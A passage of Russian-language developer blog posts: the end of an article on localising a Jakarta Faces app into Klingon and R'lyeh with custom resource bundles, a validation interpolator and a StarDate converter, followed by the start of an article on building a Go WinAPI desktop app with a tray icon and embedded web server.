Сама локаль остается системной (в данном случае — английской), но при этом к ней добавляется специальный постфикс, означающий что используется «вариация»:

<h:form>
<h:selectOneMenu styleClass="form-select" style="width: 12em;"
value="#{i18n.language}" onchange="submit()">
<f:selectItem itemValue="en" itemLabel="English" />
<f:selectItem itemValue="en-US-KLINGON" itemLabel="Klingon" />
<f:selectItem itemValue="en-US-RLYEH" itemLabel="Rlyeh" />
</h:selectOneMenu>
</h:form>

Поскольку такие variants являются частью официального API, они поддерживаются всем прикладным ПО и библиотеками (за редкими исключениями).

В том числе они используются в механизме работы ResourceBundle:

Если включить «variant» в название файла с ресурсами — он будет найден и загружен при выборе локали с таким «variant». К сожалению стандартной реализации ResourceBundle оказалось недостаточно — хотелось получить перекодированный клингонский сразу из ресурсов, поэтому я сделал свою:

package com.Ox08.experiments.kligon;
import jakarta.annotation.Nonnull;
import jakarta.faces.context.FacesContext;
import java.util.Enumeration;
import java.util.Locale;
import java.util.ResourceBundle;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* Extended resource bundle, used to inject Klingon glyphs if Klingon locale
* used
*
* @Author <a href="mailto:alex3.145@gmail.com">Alex Chernyshev</a>
*/
public class KlingonedResourceBundle extends ResourceBundle {
public KlingonedResourceBundle() {
setParent(ResourceBundle.getBundle("i18n.messages",
FacesContext.getCurrentInstance().getViewRoot().getLocale()));
}
@override
public final void setParent(ResourceBundle parent) {
super.setParent(parent);
}
@override
protected Object handleGetObject(@Nonnull String key) {
// here will be extracted and substituted value
final Object v = parent.getObject(key);
if (!(v instanceof String vstring)) {
return v;
}
LOG.log(Level.INFO, "handleGetObject : {0}", vstring);
// current locale
final Locale l = FacesContext.getCurrentInstance().getViewRoot().getLocale();
// check if its Klingon and transliterate to glyphs
if ("KLINGON".equals(l.getVariant()))
return KlingonTranslator.transliterate(vstring);
// .. and for Rlyeh
if ("RLYEH".equals(l.getVariant()))
return RlyehTranslator.translate(vstring);

// otherwise - just respond 'as-is'
return v;
}
@override
@Nonnull
public Enumeration<String> getKeys() {
return parent.getKeys();
}
private static final Logger LOG = Logger.getLogger("BUNDLE-KLINGON");
}

Основное действие происходит в методе handleGetObject() ,сейчас разберу логику этого метода по шагам, благо она будет повторяться и в других местах.

Первым шагом происходит вызов такого же метода, но из родительского класса — для получения еще не перекодированного текстового шаблона:

final Object v = parent.getObject(key);

Затем происходит отбраковка по возвращаемому типу — мы работаем только со строками и все остальные варианты пропускаем:

if (!(v instanceof String vstring)) {
return v;
}

Дальше происходит получение текущей локали пользователя:

final Locale l = FacesContext.getCurrentInstance()
.getViewRoot().getLocale();

Что несколько неправильно с точки зрения архитектуры большой системы, но достаточно для демо проекта.

Затем в зависимости от значения «variant» вызывается перекодировщик для клингонского:

if ("KLINGON".equals(l.getVariant()))
return KlingonTranslator.transliterate(vstring);

или для Р'льех:

if ("RLYEH".equals(l.getVariant()))
return RlyehTranslator.translate(vstring);

Регистрация кастомной реализации ResourceBundle задается в файле с настройками Jakarta Faces (webapp/WEB-INF/faces-config.xml):

..
<resource-bundle>
<!--
Note that 'base name' points to specific class,
not to .properties file
-->
<base-name>com.Ox08.experiments.kligon.KlingonedResourceBundle</base-name>
<var>msgs</var>
</resource-bundle>
..

Там же указывается список поддерживаемых локалей, с учетом «variants»:

..
<locale-config>
<default-locale>en</default-locale>
<supported-locale>en_US_KLINGON</supported-locale>
<supported-locale>en_US_RLYEH</supported-locale>
</locale-config>
..

Наконец хранение выбранной пользователем локали происходит в отдельном сессионном бине:

package com.Ox08.experiments.kligon;
import jakarta.annotation.PostConstruct;
import jakarta.enterprise.context.SessionScoped;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.Serializable;
import java.util.Locale;
import java.util.logging.Logger;
/**
* This bean stores selected locale, attached to user's session
*
* @author <a href="mailto:alex3.145@gmail.com">Alex Chernyshev</a>
*/
@Named("i18n")
@SessionScoped
public class LocaleBean implements Serializable {
@inject
private transient Logger log;
// current locale
private Locale locale;
/**
* Initializes current locale value
*/
@PostConstruct
void init() {
// take current locale from request
locale = FacesContext.getCurrentInstance().getExternalContext().getRequestLocale();
log.log(java.util.logging.Level.INFO,
"Current locale {0} , variant: {1}",
new Object[]{locale.toLanguageTag(), locale.getVariant()});
}
public Locale getLocale() {
return locale;
}
public String getLanguage() {
return locale == null ? null : locale.toLanguageTag();
}
public void setLanguage(String language) {
// get Locale object from language tag
locale = Locale.forLanguageTag(language);
// set it to current view root
FacesContext.getCurrentInstance().getViewRoot().setLocale(locale);
log.log(java.util.logging.Level.INFO,
"Switched locale to {0} , variant: {1}",
new Object[]{locale.toLanguageTag(), locale.getVariant()});
}
}

Поле «locale» из данного бина используется со стороны XHTML-страницы:

..
<f:view xmlns="http://www.w3.org/1999/xhtml"
xmlns:h="http://xmlns.jcp.org/jsf/html"
..
locale="#{i18n.locale}">
..

Но это еще не все интесное и необычное, что хотелось бы раскрыть в рамках статьи.

Валидация данных

Как каша без масла протеина или водка без закуски — не бывает корпоративных приложений без валидации данных.

В Jakarta EE (как и в ее предшественнике JavaEE) для автоматической валидации входных данных используются механизмы из спецификации JSR 303 «Bean Validation».

В самом простом случае это выглядит как аннотирование полей класса:

..
@size(min = 3, max = 255)
private String title; // a title
@NotBlank(message = "{validation.message.not-blank}")
@Lob
@column(length = Integer.MAX_VALUE)
private String message; // message, stored as CLOB in database,
//so size is almost unlimited
@size(min = 3, max = 30)
@email
private String author; // author's email
..

Когда такой класс попадает в качестве входящего аргумента метода класса, управляемого CDI‑окружением, срабатывает автоматическая валидация и в интерфейсе появляются сообщения об ошибках:

Если ошибка имеет привязку к конкретному полю, за ее отображение отвечает отдельный блок:

<h:message for="f_message" errorClass="msg" />

если нет — она отображается через «глобальную свалку»:

<p>
<h:messages globalOnly="true" infoClass="msg" errorClass="msg" />
</p>

Теперь обратите внимание вот на эту строчку:

@NotBlank(message = "{validation.message.not-blank}")

Вместо текста сообщения, тут указан некий код, который автоматически заменяется на текст из специального ResourceBundle:

Согласно спецификации JSR303 название для бандла должно быть именно ValidationMessages.

Согласно спецификации JSR303 название для бандла должно быть именно ValidationMessages.

Вся эта логика является частью спецификации JSR303 и вообщем-то отлично работает без вашего участия — до тех пор пока не появляется необходимость сотворить какую-нибудь дичь.

К сожалению поддержка несуществующих языков в текстах сообщений об ошибках является именно такой дичью:

Текст красненьким — та самая валидация JSR303. На клингонском.

Текст красненьким — та самая валидация JSR303. На клингонском.

Поэтому придется немного подумать.

После долгих поисков и изучения документации, все же был найден способ вклиниться в процесс получения текстов сообщений с ошибками валидации:

Message interpolators are used by the validation engine to create user readable error messages from constraint message descriptors.

В итоге была написана собственная реализация такого «интерполятора»:

package com.Ox08.experiments.kligon;
import jakarta.validation.MessageInterpolator;
import jakarta.validation.Validation;
import java.util.Locale;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* Custom JSR 303 Message Interpolator, used to inject Klingon glyphs
* into JSR303 validation
*
* @author <a href="mailto:alex3.145@gmail.com">Alex Chernyshev</a>
*/
public class JSR303KlingonMessageInterpolator
implements MessageInterpolator {
// we need to have existing MessageInterpolator,
// to being used as parent
private final MessageInterpolator delegate;
public JSR303KlingonMessageInterpolator() {
// take default implementation from JSR303 configuration
this.delegate = Validation.byDefaultProvider()
.configure().getDefaultMessageInterpolator();
}
@Override
public String interpolate(String string, Context cntxt) {
LOG.log(Level.INFO, "interpolating {0}", string);
// without specified locale - just pass interpolation to delegate
return delegate.interpolate(string, cntxt);
}
@Override
public String interpolate(String string,
Context cntxt, Locale locale) {
LOG.log(Level.INFO,
"interpolating {0} with locale: {1}",
new Object[]{string, locale.toLanguageTag()});
// here will be extracted and substituted value
final String result = delegate.interpolate(string, cntxt, locale);
// check for Klingon locale and transliterate to glyphs
if ("KLINGON".equals(locale.getVariant()))
return KlingonTranslator.transliterate(result);

if ("RLYEH".equals(locale.getVariant()))
return RlyehTranslator.translate(result);

return result;
}
private static final Logger LOG = Logger.getLogger("JSR303-KLINGON");
}

Основная магия логика заключается вот в этих строках:

..
final String result = delegate.interpolate(string, cntxt, locale);
// check for Klingon locale and transliterate to glyphs
if ("KLINGON".equals(locale.getVariant()))
return KlingonTranslator.transliterate(result);

if ("RLYEH".equals(locale.getVariant()))
return RlyehTranslator.translate(result);

return result;

Как видите, локаль поступает на вход метода в готовом виде — ее не надо определять из контекста JSF, а вот в этом месте происходит получение оригинальной строки из файла с текстовыми строками:

final String result = delegate.interpolate(string, cntxt, locale);

Дальше в зависимости от наличия «variant» у локали, текст либо пропускается через транслятор либо отдается «как есть».

Регистрация кастомного интерполятора также имеет свою специфику — она происходит в отдельном XML-файле:

<?xml version="1.0" encoding="UTF-8"?>
<validation-config
xmlns="https://jakarta.ee/xml/ns/validation/configuration"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/validation/configuration
https://jakarta.ee/xml/ns/validation/configuration/validatio..."
version="3.0">
<!-- register custom interpolator, used to retrieve i18n validation messages -->
<message-interpolator>com.Ox08.experiments.kligon.JSR303KlingonMessageInterpolator</message-interpolator>
</validation-config>

Который находится в файле src/main/resources/META-INF/validation.xml

Последней интересной темой, достойной освещения в рамках статьи про локализацию будут фантастические даты.

Заметьте — не просто фантастический формат отображения а целый календарь!

Фантастические даты

Никогда не задумывались какой смысл закладывается в дату?

Что такое на самом деле 2024й год?

Фактически это означает что прошло 2024 года с рождения Иисуса Христа (по новому летоисчислению), что возможно не очевидно некоторым представителям молодого поколения, но вполне достаточно для жизни и работы цивилизации.

А что если вам надо использовать альтернативную систему расчета времени?

Миллион лет от последнего динозавра?

40 000 лет бесконечной войны?

Озадачившись данным вопросом, я решил что неплохо было бы реализовать для фантастического языка еще и фантастическое летоисчисление. И использовать его для обычного корпоративного приложения, да.

Вселенная сериала Star Trek оказалась настолько продуманной и проработанной что там есть собственная система летоисчисления:

A stardate is a fictional system of time measurement developed for the television and film series Star Trek. In the series, use of this date system is commonly heard at the beginning of a voice-over log entry, such as "Captain's log, stardate 41153.7.

Именно ее поддержку я и решил реализовать:

За основу был взят фанатский проект с реализацией StarDate на куче разных языков, оригинальный код был сильно уменьшен и почищен.

Финальную реализацию можно посмотреть тут.

Но одной только реализации кастомного календаря оказалось мало — нужен еще один класс-конвертер, реализующий непосредственно конвертацию дат с этим календарем:

package com.Ox08.experiments.kligon;
import jakarta.faces.component.UIComponent;
import jakarta.faces.context.FacesContext;
import jakarta.faces.convert.Converter;
import jakarta.faces.convert.FacesConverter;
import java.time.ZoneId;
import java.time.ZonedDateTime;
import java.time.format.DateTimeFormatter;
import java.util.Date;
import java.util.Locale;
/**
* A custom converter for StarDate
* @author alex0x08
*/
@FacesConverter(value = "stardateConverter")
public class StarDateConverter implements Converter<Date> {
@Override
public Date getAsObject(FacesContext fc,
UIComponent uic, String string) {
final Locale l = fc.getViewRoot().getLocale();
if ("KLINGON".equals(l.getVariant()))
return StarDate.parseStarDate(string).getDate();

return Date.from(ZonedDateTime.parse(string,
DateTimeFormatter.ISO_DATE_TIME
.withZone(ZoneId.systemDefault())).toInstant());
}
@Override
public String getAsString(FacesContext fc, UIComponent uic, Date t) {
final Locale l = fc.getViewRoot().getLocale();
if ("KLINGON".equals(l.getVariant()))
return StarDate.newInstance(t).toString();
return DateTimeFormatter.ISO_DATE_TIME
.withZone(ZoneId.systemDefault())
.format(t.toInstant());
}
}

Активируется этот конвертер автоматически благодаря наличию аннотации:

@FacesConverter(value = "stardateConverter")

И автоматически же применяется для всех полей с типом Date, проходящих через бины, управляемые CDI.

Внутри уже традиционная логика получения текущей локали:

final Locale l = fc.getViewRoot().getLocale();

Затем при наличии клингонского «variant» происходит либо преобразование из объекта в строку с учетом кастомного календаря:

if ("KLINGON".equals(l.getVariant()))
return StarDate.parseStarDate(string).getDate();

либо из строки в объект (также с учетом StarDate):

if ("KLINGON".equals(l.getVariant()))
return StarDate.newInstance(t).toString();

На этом красивая история о нереальном подходит к концу, подведем итоги.

Итоги и выводы

В современных реалиях и с использованием современных инструментов нет серьезных препятствий для локализации на любые неведомые языки — искусственные или настоящие.

Отсутствие официальной поддержки «из коробки» в инструментах разработки и даже отсутствие символов в таблице символов Unicode — не является проблемой для настоящего джедая.

Первым шагом необходимо разработать или найти готовый TTF‑шрифт для вашего языка и проверить его отображение в системе и браузере — если планируется веб‑разработка.

Следующим шагом необходимо реализовать либо взять готовые правила транслитерации вашего фантастического языка символами существующего — кириллицей, латиницей и так далее. И написать соответствующий транслятор символов.

Вся дальнейшая работа сведется к включению транслятора в ключевых местах проекта.

P.S.

Статья была опубликована на Хабре, расширенный оригинал которой доступен в нашем блоге.

Показать полностью 36 1
9

«Бобер выдыхай»: Go, WinAPI и ассемблер

Серия Жестокие эксперименты

Что первым приходит в голову разработчика при слове «Go»? Google и микросервисы? Я тоже так думал, но реальность оказалась значительно интересней.

Gopher — маскот Golang на самом деле никакой не бобер а <a href="https://pikabu.ru/story/bober_vyidyikhay_go_winapi_i_assembler_14131069?u=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%2593%25D0%25BE%25D1%2584%25D0%25B5%25D1%2580%25D0%25BE%25D0%25B2%25D1%258B%25D0%25B5&t=%D1%86%D0%B5%D0%BB%D1%8B%D0%B9%20%D0%BE%D1%82%D0%B4%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9%20%D0%B2%D0%B8%D0%B4&h=55fd084c2d915a4ad11b4adf8764bf76194741c9" title="https://ru.wikipedia.org/wiki/%D0%93%D0%BE%D1%84%D0%B5%D1%80%D0%BE%D0%B2%D1%8B%D0%B5" target="_blank" rel="nofollow noopener">целый отдельный вид</a>, но у нас такие не живут.

Gopher — маскот Golang на самом деле никакой не бобер а целый отдельный вид, но у нас такие не живут.

Волшебный мир Windows

Немного матчасти для тех кто не знает об этом языке:

Go (часто также golang) — компилируемый многопоточный язык программирования, разработанный внутри компании Google[11]. Разработка Go началась в сентябре 2007 года, его непосредственным проектированием занимались Роберт Гризмер, Роб Пайк и Кен Томпсон[12], занимавшиеся до этого проектом разработки операционной системы Inferno. Официально язык был представлен в ноябре 2009 года.

Автор, как и наверное большинство разработчиков, считал Golang всего лишь новомодной корпоративной игрушкой, призванной подсадить широкие программисткие массы на очередную технологию «корпорации добра» — создавался этот язык внутри Гугла и для задач Гугла, которые разумеется сильно отличаются от обывательских.

Поэтому когда мне показали работу Golang с WinAPI «из коробки» я был сильно удивлен — в более серьезных языках вроде C/C++ работа c внутренностями Windows всегда выглядела куда более монструозной. Так и родилась эта замечательная статья.

Что мы будем в этот раз творить:

Desktop-приложение с настоящим интерфейсом, с учетом реалий Windows, которое запустит встроенный вебсервер, с методом REST API на ассемблере.

Еще будет загрузка графического файла и установка его в качестве обоев — через WinAPI. Плюс небольшой обход файрвола, чтобы не показывался вот этот раздражающий экран с предупреждением:

Он всегда меня бесил, а то что меня бесит — я отключаю.

Он всегда меня бесил, а то что меня бесит — я отключаю.

Надеюсь описанное в статье удивит даже опытных разработчиков на Golang.

Собственно так выглядит наш сегодняшний герой в действии:

Обратите внимание на отключенные кнопки «закрыть» и «развернуть» — даже это оказалось не так просто сделать на чистом WinAPI

Обратите внимание на отключенные кнопки «закрыть» и «развернуть» — даже это оказалось не так просто сделать на чистом WinAPI

А так выглядит работа с системным треем:

По клику происходит фокусировка на основном окне приложения

По клику происходит фокусировка на основном окне приложения

Еще у нас будет стандартный модальный диалог:

Подтверждение выхода, всего лишь.

Подтверждение выхода, всего лишь.

И конечно встроенный веб-сервер, с веб-интерфейсом:

Если немного подумать, то окажется что тут много всего интересного и все оно описано ниже в статье.

Если немного подумать, то окажется что тут много всего интересного и все оно описано ниже в статье.

По традиции весь проект целиком выложен на Github.

Сборка и запуск

Начну с банального — как всю эту дикую радость собрать и запустить. Первым делом разумеется надо скачать и установить Go:

Для Windows уже давно существуют готовые официальные сборки Golang, даже с инсталлятором.

Взять можно с официального сайта Golang, вот тут.

Я использовал последнюю на момент написания версию 1.22.5, но язык столь бурно развивается, что не удивлюсь если выйдет более новая версия еще до завершения статьи.

Разработка проекта происходила в Visual Studio Code, который давно и официально поддерживает Go:

Открытый проект в Visual Studio Code с установленным плагином для Golang

Открытый проект в Visual Studio Code с установленным плагином для Golang

Теперь самое интересное:

для сборки проекта использовались не обычные Makefile и не шелл-скрипты — так характерные для проектов на «гошечке», а целая отдельная внешняя система сборки — Magefile.

Ставится она множеством разных способов, я использовал вот такой:

git clone https://github.com/magefile/mage
cd mage
go run bootstrap.go

После установки в окружении появляется бинарник mage, отвечающий за сборку:

Mage это на самом деле mage.exe (в Windows разумеется)

Mage это на самом деле mage.exe (в Windows разумеется)

Забираем проект:

git clone https://github.com/alex0x08/golang-winapi-asm.git

Скачиваем и устанавливаем зависимости:

mage install

Собираем:

mage build

Если сборка прошла успешно, в текущем каталоге будет файл ungoogled-go.exe, который можно свободно перемещать и запускать на пользовательских компьютерах — он полностью статичный и не зависит от установленного Golang.

Опционально можно запустить:

mage generate

Этой командой запустится генерация файлов add.s и stub.go — для метода на ассемблере. Стоит также отметить, что конечная и отладочная сборка немного отличаются, разделение происходит путем проброса параметра:

-X main.DebugMode=false

Которым изменится значение глобальной переменной — флагом отладочного режима, который в свою очередь немного влияет на поведение программы.

Теперь начинаем разбираться, как же оно все работает.

Невероятный факт № 5668 : не каждый Windows-программист знает как скомпилировать программу из консоли.

Невероятный факт № 5668 : не каждый Windows-программист знает как скомпилировать программу из консоли.

Приложение Windows

Если попробовать собрать и запустить в Windows классический «Hello world» на C:

#include <stdio.h>
int main() {
printf("Hello, World!");
return 0;
}

Вместо ожидаемого пустого графического окна запустится страшная черная консоль как на снимке выше. Это происходит потому что в Windows для графических программ используется другая точка запуска (entry point):

Every Windows program includes an entry-point function named either WinMain or wWinMain.

И если уж жизнь вас заставила разрабатывать на Go под Windows, еще и с графическим интерфейсом, то стоит «гошечке» об этом сообщить, добавив флаг в параметры ldflags.:

-H windowsgui

Целиком это выглядит так:

go build -ldflags "-H windowsgui"

Помимо этого, я указываю режим сборки exe:

-buildmode=exe
Build the listed main packages and everything they import into
executables. Packages not named main are ignored.

Для того чтобы получить в итоге сборки один большой и переносимый запускаемый exe файл.

Так выглядит «официальный Hello World» на C++ и WinAPI

Так выглядит «официальный Hello World» на C++ и WinAPI

Golang и WinAPI

Стоит пояснить читателям, в чем вообще заключается сложность работы с WinAPI. Для примера возьмем официальный «Hello world» на C++ под Windows:

#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>

LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg,
WPARAM wParam,
LPARAM lParam);

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE,
PWSTR pCmdLine, int nCmdShow)
{
// Register the window class.
const wchar_t CLASS_NAME[] = L"Sample Window Class";

WNDCLASS wc = { };

wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = CLASS_NAME;

RegisterClass(&wc);

// Create the window.
HWND hwnd = CreateWindowEx(
0, // Optional window styles.
CLASS_NAME, // Window class
L"Learn to Program Windows", // Window text
WS_OVERLAPPEDWINDOW, // Window style

// Size and position
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,

NULL, // Parent window
NULL, // Menu
hInstance, // Instance handle
NULL // Additional application data
);

if (hwnd == NULL)
{
return 0;
}

ShowWindow(hwnd, nCmdShow);

// Run the message loop.
MSG msg = { };
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}

LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg,
WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hwnd, &ps);
// All painting occurs here, between BeginPaint and EndPaint.
FillRect(hdc, &ps.rcPaint, (HBRUSH) (COLOR_WINDOW+1));
EndPaint(hwnd, &ps);
}
return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

Ну что, много тут понятного?

А все потому что 90% кода даже в столь простом приложении не имеют никакого отношения к C++, а являются структурами, макросами или функциями самого WinAPI.

От C++ тут только примитивные типы (int) и управляющие конструкции (case, while).

Поэтому задача как-то серьезно взаимодействовать с WinAPI (дальше чем разовый вызов какой-то функции) — всегда была, есть и будет сложной. А разработка под Windows является отдельной специальной дисциплиной, чемпионы которой запросто могут забыть обычный C/C++ вообще и всю разработку (даже серверную) вести на инструментах WinAPI.

Но вернемся к нашей «гошечке».

Go далеко не C++ и является экзотикой в мире Windows-разработки, по крайней мере за пределами кампусов Google.

Но внезапно оказалось, что поддержка WinAPI в нем очень даже неплоха.

Взгляните как выглядит вызов WinAPI функции для установки обоев на Golang:

var (
user32DLL = windows.NewLazyDLL("user32.dll")
procSystemParamInfo = user32DLL.NewProc("SystemParametersInfoW")
)
func main() {
imagePath, _ := windows.UTF16PtrFromString(`image.jpg`)
fmt.Println("[+] Changing background now...")
procSystemParamInfo.Call(20, 0, uintptr(unsafe.
Pointer(imagePath)), 0x001A)
}

Тут красиво скрыты все скользкие моменты вроде передачи указателя на участок памяти, где лежит путь до файла с картинкой:

unsafe.Pointer(imagePath)

Или вопрос с кодировками:

windows.UTF16PtrFromString(`image.jpg`)

Не буду разбирать весь код, поскольку вот тут лежит отдельная большая статья, в которой все уже подробно расписано.

Скажу лишь что благодаря столь серьезной поддержке WinAPI, получилось создать этот тестовый проект и не утопить читателя утонуть в деталях реализации.

Запуск демо с диалогом на чистом WinAPI

Запуск демо с диалогом на чистом WinAPI

WinAPI и графический интерфейс

Сначала я честно попытался реализовать вообще всю логику работы с WinAPI полностью вручную, как в этом примере со стандартным диалоговым окном:

import (
"syscall"
"unsafe"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
ret, _, _ := syscall.NewLazyDLL("user32.dll").
NewProc("MessageBoxW").Call(
uintptr(hwnd),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
uintptr(flags))
return int(ret)
}

// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
const (
NULL = 0
MB_OK = 0
)
return MessageBox(NULL, caption, title, MB_OK)
}

И оно даже работало. Но только объем кода очень быстро вырос до былинных размеров и никак не влезал в масштаб статьи.

Поэтому от такого подхода пришлось отказаться, оставив лишь работу с системным треем.

Все остальное я отдал на откуп готовым библиотекам. В частности построение окон и обработку событий были реализованы через библиотеку Windigo. — хотя это по-сути лишь набор готовых биндингов для функций WinAPI.

Вот так выглядит в работе демо-приложение на Windigo:

Собственно тут показаны все основные радости Windigo, доступные без долгих часов камлания над документацией

func main()

Запуск приложения Go согласно спецификации начинается с функции func main() в пакете main:

A complete program is created by linking a single, unimported package called the main package with all the packages it imports, transitively. The main package must have package name main and declare a function main that takes no arguments and returns no value.

Первая же строка внутри main() нашего проекта нуждается в пояснении:

runtime.LockOSThread()

Этот вызов из пакета runtime нужен для того чтобы все goroutines (легковесные потоки Go) выполнялись в отдельных системных потоках каждый.

В нашем случае это необходимо для взаимодействия с системным потоком, отвечающим за графический интерфейс:

A goroutine should call LockOSThread before calling OS services or non-Go library functions that depend on per-thread state.

Следующим шагом происходит вызов функции, отвечающей за построение графического интерфейса:

mainWindow = newMyWindow()

Разберем как формируются и связываются графические элементы, в нашем проекте за это отвечает функция:

func newMyWindow() *MyWindow

Возвращаемая структура:

type MyWindow struct {
wnd ui.WindowMain
lblName ui.Static
txtName ui.Edit
btnShow ui.Button
}

Содержит все графические элементы — само окно (wnd), текстовую метку (lblName), текстовое поле (txtName) и кнопку (btnShow).

Первым делом происходит настройка создаваемого окна:

opts := ui.WindowMainOpts().
ClassStyles(co.CS_NOCLOSE).
Title("Tiny Server").
ClientArea(win.SIZE{Cx: 600, Cy: 245})

С помощью константы co.CS_NOCLOSE отключается кнопка закрытия окна:

CS_NOCLOSE 0x0200 Disables Close on the window menu.

Ну и дальше задается заголовок и размеры создаваемого окна — тут все просто. Зато сложно чуть ниже:

if DebugMode == "false" {
// ID of icon resource, see resources folder
// does not work in debug mode
opts = opts.IconId(101)
}

Тут указывается иконка окна в виде числового ID ресурса, файл с ресурсами minimal.syso был взят из демо-проекта Windigo:

A syso file, ready to use, that contains the icon and the manifest. Just place it at the root folder of your project. You can load the icon using the resource ID 101.

Следующим шагом происходит вызов сложной цепочки инициализации окна:

// create main window
wnd := ui.NewWindowMain(opts)

В конце которой вызывается известная функция WinAPI CreateWindowEx, используемая для создания нового графического окна.

Дальше происходит создание отдельных элементов:

// build UI
me := &MyWindow{
wnd: wnd,
// add label
lblName: ui.NewStatic(wnd,
ui.StaticOpts().
Text("Server log").
Position(win.POINT{X: 10, Y: 22}),
),
// add shutdown button
btnShow: ui.NewButton(wnd,
ui.ButtonOpts().
Text("&Quit").
Position(win.POINT{X: 510, Y: 17}),
),
// add message log (text area)
txtName: ui.NewEdit(wnd,
ui.EditOpts().
WndStyles(co.WS_CHILD|co.WS_VISIBLE|co.WS_VSCROLL).
CtrlStyles(co.ES_AUTOHSCROLL|co.ES_MULTILINE|co.ES_LEFT|co.ES_READONLY).
Position(win.POINT{X: 0, Y: 45}).
Size(win.SIZE{Cx: 600, Cy: 200}),
),
}

Важно отметить, что в случае WinAPI за любой ввод текста отвечает один и тот же компонент CEdit, c разным набором настроек:

  • co.ES_MULTILINE — указание на ввод нескольких строк (как textarea в HTML);

  • co.WS_VISIBLE — окно не будет скрыто;

  • co.WS_VSCROLL — вертикальный скролл;

  • co.ES_AUTOHSCROLL — автоматический горизонтальный скролл;

  • co.ES_READONLY — только для чтения.

Дальше происходит настройка обработчика кнопки для завершения работы приложения:

// setup handler on 'shutdown' button click
me.btnShow.On().BnClicked(func() {
// start confirmation dialog
resp := me.wnd.Hwnd().MessageBox("Quit application?",
"Confirm quit", co.MB_YESNO)
// if user clicked 'YES' - shutdown application
if resp == co.ID_YES {
appendToLog("Exiting..")
if httpSrv != nil {
if err := httpSrv.Close(); err != nil {
fmt.Printf("HTTP close error: %v", err)
}
}
me.wnd.Hwnd().DestroyWindow()
os.Exit(0)
}
})

По клику запускается модальный диалог с блокировкой текущего треда:

resp := me.wnd.Hwnd().MessageBox("Quit application?",
"Confirm quit", co.MB_YESNO)

Если пользователь нажал кнопку «Yes» (т.е подтвердил операцию), происходит завершение работы HTTP-сервера:

if httpSrv != nil {
if err := httpSrv.Close(); err != nil {
fmt.Printf("HTTP close error: %v", err)
}
}

Закрытие главного окна приложения:

me.wnd.Hwnd().DestroyWindow()

И завершение работы:

os.Exit(0)

Следущим шагом из функции main мы загружаем иконку, используемую в трее:

var trayIcon win.HICON

// Load icon
// in debug mode, there are no resources available, so we need to load
// icons from FS
if DebugMode == "false" {
trayIcon = win.HICON(
win.GetModuleHandle(win.StrOptNone()).LoadImage(
win.ResIdInt(101),
co.IMAGE_ICON,
16, 16,
co.LR_DEFAULTCOLOR,
))
} else {
trayIcon = win.HICON(
win.GetModuleHandle(win.StrOptNone()).LoadImage(
win.ResIdStr("gopher.ico"),
co.IMAGE_ICON,
16, 16,
co.LR_DEFAULTCOLOR|co.LR_LOADFROMFILE,
))
}

Используется разная логика для режима отладки и запуска финального бинарника, потому что в готовом приложении иконка будет находиться в ресурсах — специальном файле, упакованном вместе с приложением.

А во время отладки либо запуска вроде:

go run main.go

ресурсов не будет, поэтому придется загружать иконку непосредственно с файловой системы.

Дальше мы настраиваем дополнительные обработчики, в первую очередь добавляем обработку на закрытие главного окна приложения:

// close systray on main window destroy
mainWindow.wnd.On().WmDestroy(func() {
if tray != nil {
tray.Dispose()
}
})

При закрытии главного окна, произойдет и автоматическое закрытие трея — не будет эффекта потерянной инонки, когда приложение уже закрылось, а его иконка до сих пор отображается в трее.

Дальше мы вешаем обработчик на активацию главного окна, для того чтобы поймать момент полной готовности и отображения и запустить сервер:

var configured = false // check for action that runs only once

mainWindow.wnd.On().WmActivate(func(p wm.Activate) {
// we need to run our handler logic only once at start
if configured {
return
}
configured = true
go startServer()
})

Столь отложенный старт необходим для большей интерактивности:

метод startServer () пишет сообщения в «графический лог», если он не будет полностью инциализирован — сообщения пропадут.

Проблема заключается в том что этот обрабочик будет запускаться и на повторную активацию (например после сворачивания окна) — чтобы логика не отрабатывала повторно стоит проверка на переменную configured, которая работает в качестве флага «инициализация завершена».

Ну и сам запуск HTTP-сервера происходит через отдельный поток, чтобы не блокировать работу обработчика:

go startServer()

Последним мы добавляем инициализацию трея по событию создания главного окна:

// action on windows create
// runs once
mainWindow.wnd.On().WmNcCreate(func(p wm.Create) bool {
// create systray
tray := systray.CreateSysTray()
// set handler on icon click - just focus on main window
systray.SetTrayClickHandler(func() {
systray.ShowWindow(uintptr(mainWindow.wnd.Hwnd()),
systray.SW_SHOWNORMAL)
})

tray.SetIcon(uintptr(trayIcon))
tray.SetTooltip("Tiny Server: click me to show main window.")

return true
})

Нужно это по той простой причине что только на этой стадии появляется настоящий window handle:

mainWindow.wnd.Hwnd()

С помощью которого возможно взаимодействовать с окном:

systray.ShowWindow(uintptr(mainWindow.wnd.Hwnd())

До этого момента (т.е. до вызова обработчика) HWND нашего окна будет пустым. Наконец финальный шаг в функции main() это запуск блокирующего цикла обработки cобытий:

mainWindow.wnd.RunAsMain()

После вызова этого метода, приложение начнет реагировать на события вроде нажатия клавиш или кликов мышкой.

Теперь разберем работу с системным треем — как пример работы с чистым WinAPI.

Вот так это выглядит в Windows 11

Вот так это выглядит в Windows 11

Работа с системным треем

Разумеется есть способ проще:

